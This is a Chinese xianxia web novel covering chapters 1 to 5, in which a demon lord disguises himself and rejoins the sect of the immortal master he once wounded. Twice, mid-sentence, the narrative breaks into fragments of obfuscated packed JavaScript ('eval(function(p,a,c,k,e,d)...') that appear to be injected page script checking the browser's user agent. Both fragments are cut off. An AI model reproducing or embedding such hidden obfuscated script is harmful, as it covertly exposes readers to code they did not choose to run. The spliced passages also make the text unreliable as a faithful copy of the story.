《魔尊在上,师尊在下》 1. 因为相欠,所以遇见。 1. 魔域,魔宫。 高台软塌里,魔界尊主陌归尘银发雪肌,五官昳丽,神色淡漠,单手支颐而坐。 他捏杯抿酒,目光逡巡扫视下方大殿那一排排站着的男子。 几息功夫后。 陌归尘眉梢轻扬,指指第三排第一位的青衣男子:“你,过来。” 青衣男子一愣。 右护法蹙眉:“机灵点,尊主让你上来。” 闻言,青衣男子再三确定后,款款踏上高台,最后曲膝跪在美人榻边:“尊主。” “嗯。” 陌归尘轻嗯一声,用玉杯挑起青衣男子下颌,端详几息功夫。 方才还眉清目冷、淡雅似竹的青衣男子,忽而垂眸,眼尾薄红,抿唇浅笑。 整个人含羞带怯。 陌归尘不悦:“笑什么。” 呵斥声落下,青衣男子顿时楚楚可怜开口:“尊主?是奴哪里做得不对?” 这幕落在旁人眼里,倒是我见犹怜。 陌归尘却越看越眉头深锁,只觉这人矫揉造作。纵然皮相与那人有两分相像,奈何风骨相差十万八千里,实在无趣。 无趣得很。 他兴致尽失,厌倦阖眼。 右护法惯会察言观色,连忙挥手:“滚吧!别在这碍眼。” “尊……尊主?”千娇百媚的男人,不可置信愣愣,伸手去扯陌归尘绣袍,却落空,身体被股力量砸出去,连连咳出几口血。 “护法大人您——”话音戛然而止。 嘭一声,殿中一盏六角灯忽而熄灭,青衣男子在右护法的黑雾里炸开,化作滩污水。 众目睽睽下,死得一干二净。 右护法收手,冷然道:“没眼色的东西!”又居高临下发话,“全都给本护法滚!” “这是死……死了?” “啊啊啊!” 众人哪见过这般残忍手段,错愕目睹转变,踉跄倒下大半,抱头尖叫,惊慌失措乱做一锅粥,弓着身子趔趄爬出大殿。 陌归尘懒眼瞥了瞥右护法,若有似无敲击着:“右护法好大的威风。” 右护法动作微滞,陪笑回话:“属下不敢,属下誓死以尊主马首是瞻。” 陌归尘清薄的身子,松散披着红袍,袖摆下的手臂,那浮现的血丝,勾勒出花一般的纹理,妖娆宛若蔷薇,放浪形骸,衬得其风情万种。 便如此,总叫旁人忽略其上位者的威慑力。 他慵懒掀眸,自顾自把玩手指:“不知道的,还以为你才是魔界的主人呢。” 言罢,骇人威压铺天盖地肆虐。 右护法被逼得“砰”一声双腿跪地,直震得五脏六腑碎裂,血腥愈渐蔓延腹腔,他胆颤心惊,艰难吐字:“属……属下惶恐,求尊主饶命。” 至此,陌归尘收回眼神。 “今天什么日子?” “回尊主,三月初七。” 陌归尘起身,阔步踏下宝座,路过大殿那鼎巨大的铜饰时,骤然顿住。 望向铜镜倒影,他惯性拾掇自己,扣紧松垮的白玉革带,五指梳理披散的银丝,正欲用桃木簪挽发髻,摸着空空如也的怀,恍然怔怔。 此地乃魔宫,并非浮华派。 * 三月初七,乃仙门十四州之首浮华派三年一度的收徒大典开启之日。 浮华山附近,繁华集市。 大街,人头攒动。 茶摊,说书老者还未出现,台下人三五成群围坐,饮茶闲聊: “浮华山收徒大典,哥几个待会儿可要凑个热闹?听闻浮华山膳食乃天下一绝!” “你别说!仙尊那位首徒当年不就是个小乞丐吗?求一口饭吃才去拜师的。” “仙尊收他,他还不乐意。” “小乞丐就是小乞丐,鼠目寸光!” “打小便如此不识好歹,也难怪能做出那等十恶不赦之事来!” …… 终于,惊堂木一拍,说书老者悠悠开口:“今日,老夫便说个人妖殊途的故事。俗话说得好,因为相欠,才会遇见。” 因为相欠,才会遇见? 荒谬! 陌归尘冷笑,离开茶摊,不知不觉间竟隐进散修之中,随人流登上浮华山栈道。 待他回神时,已身处浮华山门中广场。 远在高台之上,玄胤仙尊闻笺,一袭素袍,负手立在当年收他的位置。 十年未见,这人还是如常清冷。 两道目光倏然相碰。 人山人海,陌归尘自然清楚闻笺断然不会一眼瞧见早已化相的他,更不可能识破他的幻化之术,却不知为何,还是下意识别开头。 挪进人群更深处躲起来。 旁边有人在窃窃私语,口诛笔伐义愤填膺,也绘声绘色,扼腕叹息,说得有模有样: “仙尊常年深居简出,也就收徒大典露个脸,每次往那一站,却是回回不收徒。” “这么多年了,还是那一个徒弟。” “真是个念旧之人。” “怕也是被伤透了心吧。” “确实,仙尊清冷出尘,素来不问世事,独独对这唯一的徒弟千依百顺,结果那祸害倒好,如此薄情寡义恩将仇报!试问谁不心寒?” “那是,据说他死时的地牢,满是魔障气息,这人怕不是早就堕魔,潜伏宗门多年!” “还天生剑骨?我看是天生贱骨罢!” …… 陌归尘背对闻笺方向,被旁人拍拍肩膀。 “兄台,你说是吧?” “嗯?” “我说玄胤仙尊座下唯一弟子,青栀,是浮华派的奇耻大辱!此子简直枉费仙尊多年悉心教导!孽障!挫骨扬灰!死不足惜!” 陌归尘哑然,换作以往,杀伐果断的魔界尊主一个眼神便将小 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三长老却饶有兴致:“你们都不要?得!资质差的我没兴趣,但是差成他那样的,我倒是想挑战一下!这个白毛小徒弟,我妙药峰预定了!” “掌门师兄可要给我当个见证哈!” “谁都不许和我抢人!” 这边热闹不已,另一边却冷清落寞。 掌门笑着摇摇头,来到独自站在边上的闻笺身旁:“闻师弟。” 闻笺颔首回礼:“掌门师兄。” “你还在想那孽……”掌门话到喉间,欲言又止,半晌后,轻叹口气,“这回,你也收一个吧,都这么多年了,你那落霞峰着实冷清。” 这厢话音刚落,老者也念完卷轴与规则。 立在两旁的童子敲响铜锣,同声高喝:“浮华派收徒大典正式开始!” “秘境开启,传送阵起!” 结界被撤,人群蜂拥向中心的巨大石台,争先恐后跳进秘境传送门抢夺机缘。 广场边上,陌归尘被黄衫男子攥住手臂:“兄台,相见是缘,与我们兄妹结个伴儿如何?若是秘境遇险,也方便彼此施以援手不是?” 陌归尘依旧默不作声立在原地。 “兄台这般出神是为何故?” “兄台?”黄衫男子挥挥手唤人,“嘿!醒醒!就剩咱们三了!快走吧!” 喋喋不休的聒噪声中,陌归尘低头,眉眼微蹙,悄无声息抽手,凝出清洁术。 进入石台灵阵需消耗一块普通灵石开启传送,他以此为由拒绝道:“我没灵石。” 迈腿转身,离开。 前方,骤然而现的身影,缓缓行至他几步之遥外,来人素袍加身,姿体清隽、眉宇淡漠,浑身萦绕着股常年不散的疏离气息。 恰恰挡住陌归尘的去路。 那人抬手,变出块极品灵石,开启传送。 望着他:“时辰不等人。” 2. 世间总有太多不期而遇。 2. 世间总有太多不期而遇。 陌归尘亦不承想,二人再见时,竟是在这样平淡如水的青天白日里。也幸好,他早已易容,相逢对面不相识,倒是免掉些难堪的对峙。 阔别多年,这人声音还是丝毫未变,雪靴也是那般不染尘埃,干干净净一身白。 是他那位常年爱独坐幽篁的师尊。 ——闻笺。 其实,他也曾设想过无数种可能,师徒再见时,他那位师尊会以怎样一种姿态面对他,无数个日夜里的假想,在这刻,以一种预料之外的方式落到实处。 四目相对。 闻笺在看他,眼里又没有他,与世间芸芸众生无异,他对他,疏离如陌路人。 这一瞬,不知静默多久。 陌归尘促狭的长眸轻眯,转瞬之中,又被闻笺腰间的佩剑吸引住目光。 那剑?是……无双? 他当年的本命剑。 确切来说。 是那夜他一剑贯穿闻笺心口的本命法器。 名动天下,所向披靡的玄胤仙尊,被最疼爱的徒弟,用自己呕心沥血为其铸造的天阶极品灵剑,刺了个对穿肠,说出来,真是滑天下之大稽。 这事自然成为浮华派禁忌。 既为保住仙尊殊荣,也为震住蠢蠢欲动许久的八方诸邪,当夜在场所有人都被清洗掉这段记忆。 便只剩下当事人与几位宗门长者知晓闻笺曾被自己唯一的徒弟重创这段往事。 后来,剑主身死魂灭。 这剑自然也变回无主剑。 亦不知这人别着他的旧剑是何故,常言道:覆水难收,破镜亦难重圆。 故作情深给谁看呢。 虚伪! 陌归尘别开头,正欲离开,那位黄衫男子也才回神,想他们这种散修哪有资格面见玄胤仙尊,如今却竟得仙尊亲自送他们。 真是够他吹嘘半辈子了。 兄妹二人连忙道谢:“多谢仙尊多谢仙尊。”黄衫男子更是热切拉着陌归尘恭维,“兄台,你还年轻,应该不清楚,你眼前这位可是大名鼎鼎的玄胤仙尊,旁人烧高香求见都求不来。” 陌归尘:“……” 我也不是很想见。 黄衫男子:“仙尊替咱们给了极品灵石,那玩意儿可顶上百块普通灵石,你还不快给仙尊道谢。” 陌归尘:“……” 我比较想谢谢你。 “啧,你这家伙,怎么又不说话,小心仙尊怪罪。”说罢便有些歉意,“仙尊,我这位朋友许是没见过您这般仙人,还懵着呢。” “无碍。” “那我等就不叨扰仙尊,先行退下了。”两人说话间一人站一边把陌归尘架着往传送阵跳。 素来习惯在自家师尊身边卸下防御的无极魔尊,没走成,还猝不及防被这两筑基期小散修拽进阵法。 脚下腾空,三人也消失不见。 传送阵随机,他们分散落地,那兄妹二人没提前给他留引路符,陌归尘也懒得寻人。 只是,再次进入这秘境。 真是恍若隔世。 他站在崖边,左侧幽径传出些声响,是有结伴的修士在交谈,几人口中一口一个玄胤仙尊,语气满是钦佩与崇拜。 “有生之年能远远观望一眼,我死而无憾。” “有仙尊在,我感觉自己备受福泽。” “听家中长辈说,仙尊年少成名,曾诛杀十方妖邪鬼魅,那一战,一剑霜寒十四州,仙尊以一己之力,挽救仙人两界于水深火热中,是这数百年来,当之无愧的仙门第一人!” …… 那边的痴男怨女发言还在继续。 陌归尘剥开碍眼枝条。 他不屑冷笑:“不过尔尔。” 离开悬崖峭壁,陌归尘来到处湖边。 光天化日,几只小精怪攀附在几名修士颈后吸食男子阳气,他认得这种精怪,以吸食男子精气为生,寻常修士是瞧不见的,遇到了只能自认倒霉。 女精怪满眼憧憬:“我这辈子若是能附身到玄胤仙尊就好了。” 无性精怪:“他有什么好的!” 男精怪附和:“就是!这些个修士,自诩名门正派,表面光风霁月,私底下,指不定玩得比谁都花,道貌岸然!假得很!” 两只精怪你一言我一句,评头论足,将人人敬仰的仙门十四州之首的浮华派仙尊贬得一文不值。 终于,他们似感到股凉意。 皆同时望向湖边。 女精怪:“那个小白毛是不是在看咱们?” 男精怪望向似笑非笑的陌归尘:“你小子,看什么——” 话音戛然而止。 砰一声。 两只小妖被拍成血雾。 目睹同胞被杀。 女精怪吓得啪地摔下来,窸窸窣窣爬过来跪地求饶:“错了错了,大人饶命!” 陌归尘居高临下望人:“哦,错在何处?” 女精怪:“……”天知道。 且慢,他们方才似乎在议论那位仙尊来着,如此思索间,她立马改口:“玄胤仙尊天下无双!岂容我等杂碎轻言置喙,小妖知错!” 陌归尘:“我倒觉得他也不过如此。” “啊?” 女精怪抹抹虚汗,这是拍错马屁了?不对呀,这位青年分明就是仙尊拥趸,百思不得其解间,只听那位银发青年冷嗤一声,随后消失在原地。 莫名其妙的。 * 秘境乃积分制。 击杀妖兽、采获灵植、破除机关阵法等都能添积分,积分排名前一百名进入第二关考核。 此种精怪实力不强,但胜在罕见,陌归尘还一连击杀两名,瞬间增加五百积分,遥遥领先秘境众人。 这一转变自然也惊到外面之人。 秘境之外,观赏台,几位长老望着悬空水帘上后来居上,甩掉众人的名字:陌归尘。 “这这这……?”大长老惊诧万分,似有些坐不住,“是那位小白毛道友?” “如此看来,倒是我们先前看走眼。”二长老爽朗一笑,挥手查探一番,并未太在意,击杀两个小精怪而已,难保不是运气好罢了。 三长老耸肩:“闻师弟呢?” 三长老又说:“方才明明还在广场,这会子功夫怎的不见踪影了?” 掌门摇头叹息:“许是走了,历来这样,杵那看几眼便回去闭关养伤。” “闻师弟,是个念旧之人呀。” * 此时,陌归尘却被湖中心魔镜缠上。 是秘境中善于窥视修士心魔,从而制造幻境,使人陨落的一个特殊阵法。 此刻,他已身处这制造的幻境。 “雕虫小技。” 经年累月得无数修士祭阵,阵法已生出阵灵,它倨傲蔑笑:“呵!你们人类修士,好大的口气!” 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只道是幻境迷惑人心的把戏。 他抬手,一掌震碎幻境,无丝毫反噬,幻境四散,又重新构筑景象,陌归尘狐疑蹙眉。 雅致的小木屋内。 闻笺手执木质药臼,对着一副白骨授课:“青栀,下一步,该放何物?” 白骨乖巧坐在原地,一动不动。 闻笺声音淡淡:“又不记得?” 片刻后,闻笺无奈揉揉白骨脑袋,双指捏起一味药材,喟叹:“下一步该放往生花,为师都说多少遍了,净想着膳堂的荷叶鸡。” “给你拿回来了。” 干净清爽的鸡腿被喂到颔骨,落腹的鸡腿,在白骨腰侧的缝隙掉下地面。 “啪”一声,惊醒讷住的青年。 那瞬间,陌归尘只觉口中翻滚出丝涩味。 那副无丝毫灵气的废骨…… 是他。 是他在地牢内自废剑骨的残骸。 “咳……” 腥甜味在齿间流转,陌归尘闭唇,生生咽下那口鲜血,一言不发轰碎幻境。 如无意外,他的积分怕是又要上一个令众人望尘莫及的高度,接下来,怕是只需歇着了。 秘境维持两日,想要出秘境,需得撕掉那张保命符,但以他的实力,来去自如也是神不知鬼不觉。 一个瞬间转移。 回了魔宫。 陌归尘直奔魔宫深处。 临近竹帘,一门之隔外,近乡情更怯,陌归尘情不自禁放缓脚步,纷乱的思绪百转千回,良久后,终是被人劈散。 银发青年掀起帘子。 入目,是尊千年灵藕,身着素白衣衫,正安静端坐在那张软榻上。 陌归尘来到灵藕跟前,弯身整理灵藕衣摆,随后握上灵藕的手,用那手轻托着自己半边脸。 亲昵蹭蹭。 千年灵藕以血气为食,陌归尘身上还沾着未散的血气,灵藕吸收完血气,手指动了。 感受着灵藕升起的温度,以及那愈加接近肉.体的触感,他闭目,饮鸩止渴地扑进灵藕怀里。 委屈咕哝:“师尊。” 3. “没有不要你。” 3. 殿中烛火摇曳。 白色的猫,爪子踩在人形灵藕腿上,昂头盯着这具与自家师尊一般无二的躯体。 千年灵藕难得,这些年,他几经波折,七出七进,终于从那吃人不吐骨的幽境禁地带回。 果然,没叫他失望。 真像啊。 他悠悠伸出舌尖,梳理毛发,停顿几息,眉眼狡黠转了转,猫咪旋即埋着头,悄悄咪咪地舔舔灵藕师尊的手背。 很寻常的动作,小猫咪却软软耷下猫耳,不敢看人,蜷缩成毛茸茸的一团,窝在灵藕师尊大腿,心满意足闔眼,肚皮咕噜咕噜作响,偶尔扫下尾巴。 这一睡便是大半日。 将将入夜。 猫咪忽而睁眸,望向浮华派方向,心中惊诧。 秘境似乎有异动? 陌归尘跳下来,化成人形,瞬移回到秘境,落地,感受着周遭的气息,是片静谧祥和。 奇怪。 * 秘境外,几位本是闲聊的长老忽而肃穆。 大长老:“这秘境能量似乎紊乱不定。” 二长老:“私以为与那位小白毛道友有关,此子非同寻常,要知道,就连当年的闻师弟都未能震碎心魔镜,若非身怀秘密,那必定是大能转世。” 掌门:“我去请天机石。” 三长老扶额凝视水镜中的陌归尘:“不能够吧,我这好不容易瞧中个小徒弟,结果比我还厉害?倒反天罡啊!” 被议论的当事人,意外地遇到先前那对兄妹,非要拉他去洞府歇息。 “你我真有缘,咱们干脆拜把子得了。” 陌归尘:“……” 他半推半就随人离开。 “我姓黄名金,小妹黄银,你呢?” “陌归尘。” “哦,陌?这姓不寻常呀,貌似也就魔界那边多为陌姓,听说那大魔头也姓陌。” “什么魔头。” “无极魔尊啊!传闻他恣睢暴戾,作恶多端,杀人不眨眼,男女通杀老少咸宜荤素不忌,惨死在他魔宫床榻之人多不胜数,恶心,人人得而诛之。” 陌归尘:“……” 陌归尘:“空穴来风。” 黄金:“害,陌兄你这心善固然是好,可出门在外,防人之心不可无,一个大魔头,他怎么可能是好人,任他逍遥下去,我们还能有好日子?” 黄金:”据传咱们仙门几大宗门不日便会齐聚一堂,商议对策,围剿魔界。” 黄金期待搓手:“你说咱们这些新入门的小弟子能否有机会参战?” 陌归尘觑了人一眼,没说话。 “嘿,陌兄,难道你不想手刃无极魔尊?” “聒噪。” 黄金挠头:“……” 闷葫芦怎么突然凶起来了? 陌归尘倚在黄金的洞府闷闷发呆。 周围亦有不少新劈的洞府,是几个结伴的队伍,好些人围坐在外面生火。 有人跑出来踢掉火堆起了争执。 “快把火熄了。” “小心把妖兽引来。” “你有病?我烤的兔子没熟。” “你才有病!兔子这么可爱!” …… 渐渐地,嘈杂声浮沉起落,忽远忽远的,陌归尘捂上心口,那里,没来由疼得厉害。 他刚绕到后山,已维持不了人形,银发头顶长出猫耳,连身后也甩出罕见的九条猫尾,整个人处于半妖状态,浑噩难捱。 明明月圆之夜还未到。 怎会如此? 陌归尘痛苦撑地。 血。 好想要源源不断的鲜血。 意识模糊中,眼下骤然多出双白靴,纤尘不染,也熟悉不已,除了闻笺,找不出第二人。 但他也心知肚明,幻觉而已。 陌归尘:“滚。” 素影却单膝蹲下:“为师帮你。” 他抬头:”帮我?” 直接将眼前人推坐落地,随后跨上那人腰腹,五指揪住底下人衣襟,冷笑。 “你凭什么帮我?你以为你是谁?” “我是你师。” “我没有师父,他不要我了,我才没有师父!” 这话换来片静默。 陌归尘眼尾微红,讷讷定了定,内心烦躁郁闷,急切想听一句否定,便激将法似的盯紧身下人控诉:“怎么不说话?无言以对吗?伪君子!” “没有不要你。” 如愿得到答案,却又难以置信摇头:“你又诓我!你凭什么不要我?” 这十年来,陌归尘是个喜怒不形于色的人,藏着掖着惯了,那些堆叠在心底,又未能及时消化的陈伤旧恨便也在最不清醒时迎来激烈的反扑,叫人总是这般脆弱、幼稚,又蛮不讲理。 “不,不对……你凭什么要我?是呀,高高在上的玄胤仙尊,你独坐高台,你不染风霜,你干干净净一身白,凭什么要我这样的徒弟!” “无名无姓的小乞丐而已。” “本来就没人要。” “没人要!” 猫耳青年一把将人扯近,双手紧紧圈实对方,发泄张唇,狠心咬住闻笺颈脖。 犬齿扎进肌肤。 一点一点吸食对方的血。 幻觉而已,咬便咬了,反正如他这般孽徒,素来没规没矩,对自己的师父,何止荒唐于此…… 幻觉里的闻笺任他抱着啃咬。 也第一次给予回应。 一如当年,落霞峰上那个反了天的小徒弟,总能在午夜梦回惊醒时,看着提灯推门的师父,将他抱上腿轻抚肩背,任人撒泼。 五岁大的孩子昂头,嘟囔着看人:“闻笺,我要和你睡。” 师父会说:”不可以,” 小徒弟撇嘴:“为什么不可以。” 师父耐着心调笑:“因为要名扬天下的大侠,是不可以和师父同榻共眠的。” 这时候小徒弟总破涕而笑,然后恶狠狠地咬师父一口:“老是取笑我!我不跟你玩了。” 师父还是会笑:“真是反了天了。” …… 感受着闻笺轻抚上肩背的掌,他滞涩了一下,唇角沾上两滴清泪,更用力地撕咬。 贪恋这刻的温存,陌归尘变得不知餍足,他怕,怕这梦醒,又剩他孤身一人,蹒跚难行。 可梦,终归是要醒的。 不知多久后,陌归尘被阵躁动惊扰,他迷惘回神,原地空无一人。 果然是幻觉。 耳畔,频频传来厮杀哭喊声,他起身,循声走去,此片空地火光冲天,大片妖兽正涌向这边。 兽潮? 好端端的怎会起兽潮? 不远处,一只赤焰巨蟒破空飞来,尾巴直接横扫数十名修士,众人合力抵起防御结界,几名负责维持秘境的浮生派师兄师姐回头:“诸位,你们先撤!” 奈何这妖兽,品阶甚高,刀枪不入,水火难伤,各种灵符也不管用。 几人吃力应对还是纷纷败下。 巨蟒吐出火球,烈焰轰地拦下要走的众人。 修行艰难,不少散修本就是贪小便宜进来寻机缘,哪想把小命交代在此。 “啊!” “那些会爬的黑色植物又是什么?” “要不咱们放弃吧,我还不想死。” 有人撕碎保命符,却没被传出秘境:“怎……怎么可能!传送符不管用了?” 浮生派大师姐:“少安毋躁,我给家师传音。” 陌归尘:“不用徒劳了。” 有人怯怯发问:“你……你是谁?” 话音刚落,烈焰再次袭来,陌归尘目光掀眸一瞥,直接一记眼神轰散火球。 须臾间寻出赤焰巨蟒命门,他摘下根枝条,抬手,飞出,直击妖兽腹部三寸位置。 一招毙命。 砰一声。 庞然大物就此倒地抽搐。 陌归尘又一掌轰退漫山遍野的黑色藤蔓,给惊魂失措的修士们劈出条路来,却无一人敢踏足。 竟能如此轻而易举击杀高阶妖兽。 浮生派大师兄谨慎问:“你到底是谁?” 没理会众人惊愕又满是怀疑的目光,陌归尘神色淡淡瞥向东边,有更神秘的存在苏醒了。 “想死的可以不过来。” * 另一边,刚请完天机石的掌门匆匆赶回广场,却见几位师弟焦急围成团。 掌门:“这是怎么一回事?水镜呢?” 大长老:“两刻钟前水镜便失灵了。” 二长老:“秘境似乎也意外关闭了。” 三长老:“更坏的是,咱们进不去。” 掌门:“果然,怕是秘境之主怒了。” 三人异口同声:“什么意思?” 掌门:“天机石显灵了。” 他前所未有般肃穆:“十有八九与那位小白毛有关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真是见了鬼了。 陌归尘如上暗自低骂道。 红白两道身影前后穿过道天堑。 二人来到落霞峰入口。 十年,整整十年未踏足落霞峰。 这里似乎并没变化。 一如当年。 刹那恍惚,他似看到曾经的自己。 几岁大的孩子天真懵懂,一手抓鸡腿,一手指着满山的栀子树:“闻笺!那是什么?” “叫师尊。” “哦。” “那是什么?闻笺。” 前方的白衣仙人停下,看着还不及自己大腿高的小孩,正用脏兮兮油腻腻的小爪子攥紧他衣摆。 似有半分无奈,他笑了笑,低斥。 “规矩都吃到肚子里去了?” 适才带小徒弟去膳堂饱餐一顿荷叶鸡,换得声温温糯糯的“师尊”。 不过半个时辰,竟又大逆不道叫回名字。 “对呀。” 年幼的孩子不以为意,摸摸圆滚滚的肚皮,餍足仰头,“‘师尊’被我吃到肚子不见啦。” 他摇头:“栀子树。” “会开花吗?” “会。” “什么时候开花。” “时辰未到。” “那到底是何时嘛。” “等到了便到了。” “好吧。” 青涩稚嫩的小孩,难得认真而执拗,说着如诺言般的话:“等花开了,记得叫我来看。” …… 从回忆抽身,陌归尘纳闷许久。 这栀子灵树竟还未开花。 真真应了句“物是人非”。 前方之人也似发现他停在原地出神。 闻笺朝他开口:“这花——” 陌归尘冷然作揖打断:“晚辈乏了,告退。” 说罢决绝转身,走向另一边的分岔路,直奔安置内门弟子的内院。 银发红影渐行渐远。 闻笺轻张的唇还未合上,他负手站在这片栀子灵树中,低头,轻笑一声。 “没规矩。” 4. “叫师尊。” 4. 刚到分岔路拐弯时,陌归尘又停下,真是被闻笺这家伙气昏头,他初来落霞峰,不该如此熟悉地形,更不可能精准无误认得内院位置。 他偏头环顾几眼。 此地与当年无差,落霞峰素来清静,除了每日按时按点来打扫的洒扫弟子,基本只有他们师徒二人。 如今亦然。 整座山峰孤寂冷清,寻个问路人都难。 这是否也说明,他离开的十年里,闻笺也是孤家寡人度过十年? 当真应了外人所言 ——仙尊念旧。 闻笺也会偶尔惦念起他么? 那样冷冷清清一个人,回忆起师徒二人昔日光景时,该会是什么模样呢? 会不会也如他这般,常常静坐到天明。 陌归尘沉默,又走了几步,方惊觉这路上多出好些引路符,像是为初来乍到之人准备的,周全至此,看来这收徒之心是早就定下的。 闻笺虽从未说过此生只收他一徒。 可这些年来,他不止一次听到闻笺回绝掌门“师兄不必劝我,我有青栀一徒足矣”。 那么现在又算什么呢? 伪君子! 老骗子! 妄他适才还为闻笺心疼来着。 简直可笑! 但表面功夫还是要做足的,陌归尘冷然轰碎引路符:“去弟子住所。”言罢便由着符菉化成团光带路。 * 翌日早。 陌归尘是被敲门声吵醒的。 他睡眼惺忪拉开门。 天光朦胧,恍惚间,陌归尘觉得他还是青栀,这十年,只是场梦,他从未离开过落霞峰。 他的师父就站在外面,笑吟吟的。 “辰时一刻了,小懒猫还在赖床。” “闻笺你好烦啊!” “没大没小,叫师尊。” “哦,闻笺,我饿了。” …… “闻——” 陌归尘脱口而出,又噎住声,未出口的字眼被生生咽回去,拐了拐尾音,“闻仙尊。” “闻仙尊?”门外人轻念这称呼,细嚼在口中回味,“还是初次有人这般唤我。” “有何不妥?” “叫师尊。” 这回,陌归尘真的怔忡了一下。 “想什么这般出神?” 闻笺的声音传来,他才思绪回笼,仍是定定望着已经走出几步之遥,又转身看他的白衣仙人。 那人嗓音清冷提醒:“随我来。” “哦。” 陌归尘点头,带上门,迷惘跟人离开。 浮华派外事殿,登记处。 外事殿掌管长老来到厚重的红木书架前,翻出一卷弟子名册。 他这回头,便见案边的闻笺提起笔。 这等小事劳烦仙尊带人来已是罕见,竟还亲自书录名册,这位弟子怕不是比当年那位更得仙尊的属意。 管事长老微讶打量陌归尘,这位小道友,貌若无盐,资质也下剩,真不知仙尊相中此人哪点。 但,还是堆出恭维的笑,心领神会摊开卷轴,恭敬放到闻笺面前,以便人亲自替弟子入宗门案牒:“仙尊,您请。” 闻笺问:“名字。” “陌归尘。” 话音落,玉笔停下,闻笺看着他。 陌归尘:“尘归尘,土归土。” 闻笺:“哪个陌?” 陌归尘:“陌路人的陌。” 这才说完,焉知那人竟抿唇笑了。 陌归尘恼怒:“仙尊笑什么?” 但闻笺没回他的话,只悠悠敛起眼神,可陌归尘总觉得自己这位素来冷若冰霜的师尊,那眼底的笑意似乎更盛了。 宛若在看一个闹别扭的孩子。 借着名字的由头,话里有话地与人划清界限。 陌归尘心中没来由郁闷不已。 他怒火中烧,转身,扬长离去,临到门前,还差点撞上迎面而来之人。 陌归尘一愣:“抱歉。” 三长老摆手:“哦,是你呀?无碍无碍。” 陌归尘:“晚辈告辞。” 三长老有些好笑,望着陌归尘怒气腾腾的背影,他这闻师弟怎么每次收的徒弟都跟八字不合似的。 一个比一个脾气大。 遥想当年。 那时他就和闻笺在山门。 几岁大的孩子火急火燎跑上去,手里拎着干腊肉条,怀里还抱满各种红枣、芹菜、莲子、桂圆、红豆,衣服都差点兜不住。 嘴上高喊:“闻笺!束脩礼!给!” 说这小青栀没规矩吧,还知道凡间的入学拜师礼,说他知书达理吧,又整日没大没小的。 试问哪家弟子敢直呼师父名讳? 连他们这些当师兄的,都不会堂而皇之直呼仙尊姓名,这小乞丐倒好,一口一个闻笺的,熟得很。 可不就是养了个小祖宗嘛。 山下还追上几位凶悍村妇,挥着扫帚。 “站住!你这小孩!快把东西放下!” “年纪小小不学好,还跑?打断你手脚!” 三长老语塞:“……” 很好,这些东西不是偷的,便是抢的。 后来,东西没归还,被他们闻师弟以十倍价格买下,堂堂仙尊,还要纡尊降贵,亲自带小徒弟下山,登门道歉。 奈何小徒弟穷凶极恶,不服教,干瞪着眼,抱手昂头撇起小嘴,就是不愿走。 两师徒对峙许久。 小徒弟终是被自家师尊拎小鸡似的拎下山,便只好张牙舞爪叫嚣放狠话。 “闻笺!你又欺负我!放我下来!” “我给你送礼物,你转头把我卖了!” “我讨厌你!我讨厌你!” “臭闻笺!老男人!我再也不跟你玩了!” 嘿,这两师徒,可真是乐死人。 三长老摇头失笑,看戏似的瞄瞄陌归尘的背影,不知道这回,又是个什么样的徒弟。 * 不知不觉,漫无目的的青年竟来到膳堂。 他倒是不饿,只是闻到飘来的荷叶清香,竟难得起了点口腹之欲。 站在个小摊位前,陌归尘向正在清洗荷叶的大娘道:“一个荷叶鸡。” 大娘笑意盈盈:“好嘞,五块中品灵石。” “五块灵石?” 大娘只道是眼前这位青年嫌贵,便苦口婆心的:“是呀,我这已经是咱们膳堂最实惠了,而且,我这荷叶鸡吃过的都叫绝,就连当年那位都日日央求着自家师尊来膳堂。” 大娘越说越起劲儿,还伸出手比划:“从这么高一点的小不点儿,吃到这么高的男儿郎。” “可惜啊……怎么就……唉。” ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻笺抬手的动作顿顿,似预料之中,眉梢轻挑,轻抿口茶,不疾不徐地说:“浪费终归不好,你替为师分担点吧。” “哦。” 陌归尘冷哼一声,扯掉个鸡腿。 “为师不爱鸡腿,都拿去。” 陌归尘瞟了眼闻笺,不吃白不吃,毫不犹豫把另一边的鸡腿也扯走。 酒足饭饱后。 闻笺:“随我来。” 陌归尘:“又去哪?” 闻笺:“束发。” 浮华派正式的拜师大典前还有个小仪式,那便是由师父亲自为徒弟用桃木簪束发。 而这特制的桃木簪是内门弟子的身份象征之一。 陌归尘目睹闻笺拿出桃木簪,那根桃木簪,和自己当年的别无二致,但他了然,那绝非曾经的簪子。 毕竟那根簪,早被他捏碎。 连同簪子一起碎的,还有他的命牌。 * 大殿之中。 闻笺站在陌归尘身后,手掌摸着徒弟那丝绸般柔软的银发,一下又一下梳理。 闻笺:“你这发色挺别致。” 他话刚落,徒弟脊背似微绷,转瞬便昂首挺胸的:“怎么,你们当师父的还管徒弟发色?” “不能管?” “用花瓣染的,凡间年轻人里盛行。” “哦,为师倒是不清楚。” “师尊毕竟上了年岁,又不问世事,不懂年轻人心思,很正常。” 陌归尘语毕,闻笺垂眼看徒弟,把发簪插.进去。 含笑道:“真是……”反了天了。 5. “小家伙正与我怄气。” 5. “真是……” 半天也等不到闻笺的后话,陌归尘皱眉,嘀咕:“真是什么?” “无事。” 杵在旁边看戏半天的三长老忍不住噗嗤偷笑,这两个师徒相处起来有够欢喜冤家的,且小白毛那刺挠挠的性情,见缝插针地挖苦讽刺,简直比当年的小青栀有过之而无不及。 像只炸毛的小猫。 逗起来多有趣呐。 难怪闻师弟愿意收其为徒。 可惜呀,这本该是归他的小徒弟,转念想到被捷足先登,三长老又痛心疾首蹙额。 啧,惆怅,惆怅啊。 * 收徒大典结束后,有十日的休沐,供大家回去探亲访友,此后便难有机会与凡间亲人好友团聚,真正的了割尘缘,踏上修道之途。 师徒二人一前一后回到落霞峰。 前方的闻笺停下,转身,走得急的陌归尘差点撞上自家师尊,他急忙刹住脚步。 “……” 但见前方仙人似笑非笑望他。 他真的很难不怀疑:这人就是记恨自己先前讽刺他年纪大的话,故意讨回来的,小时候便经常这样逗他,果然十几年过去,还是秉性难移。 “闻笺你多大?” “记不清,上千岁了吧。” 